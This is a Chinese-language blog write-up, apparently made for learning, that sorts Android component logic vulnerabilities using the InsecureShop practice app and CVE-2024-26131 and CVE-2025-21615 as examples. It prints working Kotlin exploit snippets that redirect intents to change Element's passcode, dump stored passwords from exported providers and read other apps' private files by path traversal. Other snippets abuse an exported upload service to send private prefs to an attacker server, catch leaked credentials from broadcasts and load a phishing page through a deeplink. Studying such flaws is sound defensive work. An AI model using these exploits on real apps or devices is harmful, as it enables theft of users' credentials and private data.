让我们基于文章 Android 组件逻辑漏洞漫谈对漏洞简单分类。使用开源项目 InsecureShop 作为示例

# Activity

activity 中一个重要的属性是 android:exported 。表明当前 Activity 是否可以被其他应用启动。

# Intent Redirection

android:exported 属性为 true 的 Activty 可以接收第三方应用的 Intent。假如将不可信 Intent 进行转发,就有可能造成未导出组件泄露

# CVE-2024-26131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (getIntent().hasExtra(EXTRA_NEXT_INTENT)) {
startSyncing();
Intent intent = getIntent();
Intrinsics.checkNotNullExpressionValue(intent, "intent");
if (Build.VERSION.SDK_INT >= 33) {
obj = intent.getParcelableExtra(EXTRA_NEXT_INTENT, Intent.class);
} else {
Object parcelableExtra = intent.getParcelableExtra(EXTRA_NEXT_INTENT);
if (parcelableExtra instanceof Intent) {
obj2 = parcelableExtra;
}
obj = (Intent) obj2;
}
startIntentAndFinish((Intent) obj);
return;
}

注意到当 Intent 中附带了另一个 Intent 时,应用会调用 startIntentAndFinish 方法启动 Intent 对应的 activity。

意味着可以通过这一点去启动其他未导出组件。

作为隐私对话软件,Element 有自己的应用密码。 PinActivity 是修改密码的页面。只要通过 Intent 重定向直接启动 PinActivity ,攻击者就可以修改为自己的密码并登录。

接下来编写第三方软件复现。

1
2
3
4
5
6
7
8
9
10
val innerIntent = Intent().apply {
setClassName("im.vector.app", "im.vector.app.features.pin.PinActivity")
putExtra("mavericks:arg", PinArgs(PinMode.MODIFY))
}

val outerIntent = Intent().apply {
setClassName("im.vector.app", "im.vector.application.features.Alias")
putExtra("EXTRA_NEXT_INTENT", innerIntent)
}
startActivity(outerIntent)

注意要把 PinArgs 和 PinMode 复制到自己的应用。

点击按钮启动逻辑,成功跳转到修改密码页面。

# 其他

对于点击劫持和 Fragment 注入,我认为目前这种漏洞已经很少见了。所以只做了解

不可忽视的威胁:Android 中的点击劫持攻击

# ContentProvider

ContentProvider 除了 exported 属性之外,还有 permission 属性,表示访问所需的权限。

此外,Provider 还提供了 grantUriPermissions ,表示是否允许临时为客户端授予该 provider 的访问权限

# Export

ContentProvider 设为 exported = "ture" 导致第三方应用可以访问造成的数据泄露。

AndroidManifest.xml 文件定义:

具体代码

查询方法没有验证调用者身份,任何本地应用都可以读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
val uri = Uri.parse("content://com.insecureshop.provider/insecure")
val cursor = contentResolver.query(uri,null,null,null,null)
cursor?.use {
if (it.moveToFirst()) {
val usernameIndex = it.getColumnIndex("username")
val passwordIndex = it.getColumnIndex("password")
if (usernameIndex >= 0 && passwordIndex >= 0) {
val username = it.getString(usernameIndex)
val password = it.getString(passwordIndex)
Log.d("attacker", "Username: $username, Password: $password")
}
}
} ?: run {
Log.d("attacker", "查询失败")
}

# CVE-2025-21615

xml 文件中没有写出任何权限

同时 GpxProvider 也没有对 uri 进行验证,直接打开了文件

利用这个任何第三方应用都可以内部目录下的文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
val targetFile = "/data/data/ch.bailu.aat/shared_prefs/Preferences.xml"
val uri = Uri.parse("content://ch.bailu.aat.gpx$targetFile")

try {
val pfd = contentResolver.openFileDescriptor(uri, "r")
pfd?.use {
val inputStream = FileInputStream(it.fileDescriptor)
val reader = BufferedReader(InputStreamReader(inputStream))
val content = reader.readText()
Log.d("Attacker", "成功读取 Preferences.xml 内容:\n$content")
} ?: run {
Log.e("Attacker", "openFileDescriptor 返回 null")
}
} catch (e: Exception) {
Log.e("Attacker", "读取失败", e)
}

# openFile

Content Provider 中除了增删查改方法外,如果想实现共享文件读写,那么还可以重写 openFile 方法。

假如没有对 uri 进行验证,就可能出现路径穿越等问题导致私有目录文件泄露。

像上面的例子中,就没有对 uri 进行验证。

有趣的是,在我搜索相关资料的过程中,发现一个来自 2013 年的路径穿越漏洞,而直到 2025 年仍然有这种漏洞,看的出来非常经典_

# ESC 中的 openFile 漏洞

FileContentProvider 导出

并且 openFile 中的 uri 仅仅将前缀替换,未作验证。可以任意访问私有目录中的文件

正确写法

1
2
3
4
5
6
7
public ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException {
File f = new File(DIR, uri.getLastPathSegment());
if (!f.getCanonicalPath().startsWith(DIR)) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}

# Service

service 启动时会调用 Service.onCreate () 方法。每次 startService 会调用 Service.onStartCommand

# Implicit Export

Service 同样有 android:exported 属性。

上传服务被设为导出

被导出的这个服务可以接收任意 intent

直接从 intent 中获取附带的类,不做校验直接执行上传操作。并且应用申请了用户的读写权限

也就是说可以读取外部存储中的任意文件。此外应用还获取了 READ_CONTACTS ,可以泄露联系人信息。

现在尝试利用漏洞,将私有目录下的 Prefs.xml 上传到攻击者服务器(本地起的一个 server)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
val uploadFile = UploadFile("/data/data/com.insecureshop/shared_prefs/Prefs.xml")
val params = UploadTaskParameters().apply {
setId("attack_001")
setServerUrl("http://172.20.10.4:8080")
setMaxRetries(0)
setAutoDeleteSuccessfullyUploadedFiles(false)
addFile(uploadFile)
}

val intent = Intent().apply {
component = ComponentName(
"com.insecureshop",
"net.gotev.uploadservice.UploadService"
)
action = "net.gotev.uploadservice.action.upload"
putExtra("taskClass", "net.gotev.uploadservice.BinaryUploadTask")
putExtra("taskParameters", params)
putExtra("httpTaskParameters", HttpUploadTaskParameters().setMethod("POST"))
}
context.startService(intent)

上传成功

# Intent 重定向

嵌套 Intent 之前在 activity 中也出现过,原理相同

一个导出的 Service,在获取 Intent 时,如果该 Intent 附加了另一个 Intent,就会导致未导出的 Activity 被启动。比如 PrivateActivity

这个 activity 不能导出,内部逻辑为加载任意 url

这样就会导致攻击者可以在应用内打开任意网站,实现钓鱼网站攻击等 。

# 其他

同样,我认为服务劫持这种漏洞已经不常见了,所以不做分析

AIDL 看不懂

# Broadcast Receivers

# Implicit Export

广播分为动态注册和静态注册。

静态注册在 AndroidManifest.xml 中进行。示例:

1
2
3
4
5
6
7

<receiver android:name=".MyBroadcastReceiver" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
</intent-filter>
</receiver>

动态注册在代码中进行。

AboutUsActivity 中注册了广播。注意到没有使用第三个可选参数 permission

广播实现类

在未对 uri 做校验的情况下,直接用 WebView 打开 uri。如上面所说,会受到攻击。

# 信息泄露

同一个类中另外还有一个方法

会将用户密码广播出去。隐式 sendBroadcast 会将广播发给匹配 action 且对外导出的广播接收器。

注册广播接收器,并重写 onReceive 方法。

当点击这一页时,应用可以接收到泄露出的信息

1
2
3
4
5
6
val filter = IntentFilter("com.insecureshop.action.BROADCAST")
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
{
val credSteal = CredStealReceiver()
registerReceiver(credSteal,filter,Context.RECEIVER_EXPORTED)
}

# PendingIntent

PendingIntent 可以看作 Intent 的高级版本,实现了一种委托授权发送 Intent 进行组件间通信的机制

ActivityPendingInten 漏洞

先来看 getActivity 方法

图片

intent 通常用来启动 activity,flags 参数决定了 PendingIntent 的⾏为。上面说到,Content Provider 有一种特殊的 premission,当 exported 设为 false 时,假如 grantUriPermissions 设为 true,第三方应用仍然可以获得访问权限。

所以,当 Intent 为隐式时,攻击 app 只需要拿到 PengingIntent 对象,修改 Intent 的一些成员,就可以让这个 Intent 匹配到攻击者 app

1
2
3
base.setData(Uri.parse("content://com.victim.private.provider/secret"));  // 指向受害者私有 provider
base.setPackage("com.attacker.evil"); // 目标改成自己
base.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // 获取临时权限

PendingIntent 的发送方是受害者 app,可以对攻击方 app 进行授权。攻击方拿到 read/write 权限,就可以读写受害者 app 未导出 Provider 的数据

在安卓 12,为了修复这个漏洞,引入了 FLAG_IMMUTABLEFLAG_MUTABLE 。如果 flags 设置为 FLAG_IMMUTABLE ,则这个 intent 不能被修改,自然也就不能匹配到攻击方应用了。

PendingIntent 重定向:一种针对安卓系统和流行 App 的通用提权方法 ——BlackHat EU 2021 议题详解(上)

https://mp.weixin.qq.com/s/ifrErL88_8wN36WT8QbLvg

Android 中的特殊攻击面(二)—— 危险的 deeplink

# 通过 deeplink 操纵 WebView

应用版本比较旧,如果没有明确写出 exported="false" 则默认为 true

启用的两个比较危险的功能:允许执行 js 代码、允许对本地文件访问

并且接下来几乎没有校验

/webview 下对 uri 通过 endwith 进行白名单匹配,但是这样不起作用。匹配的应该是域名。详情可见:一文彻底搞懂安卓 WebView 白名单校验 - FreeBuf 网络安全行业门户

接下来使用 adb 验证漏洞。

1
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=http%3A%2F%2F172.20.10.4%3A8000%2F"

本地写一个 html 文件,伪造成登录页面

将获取到的数据回传到服务端。

实现钓鱼网站攻击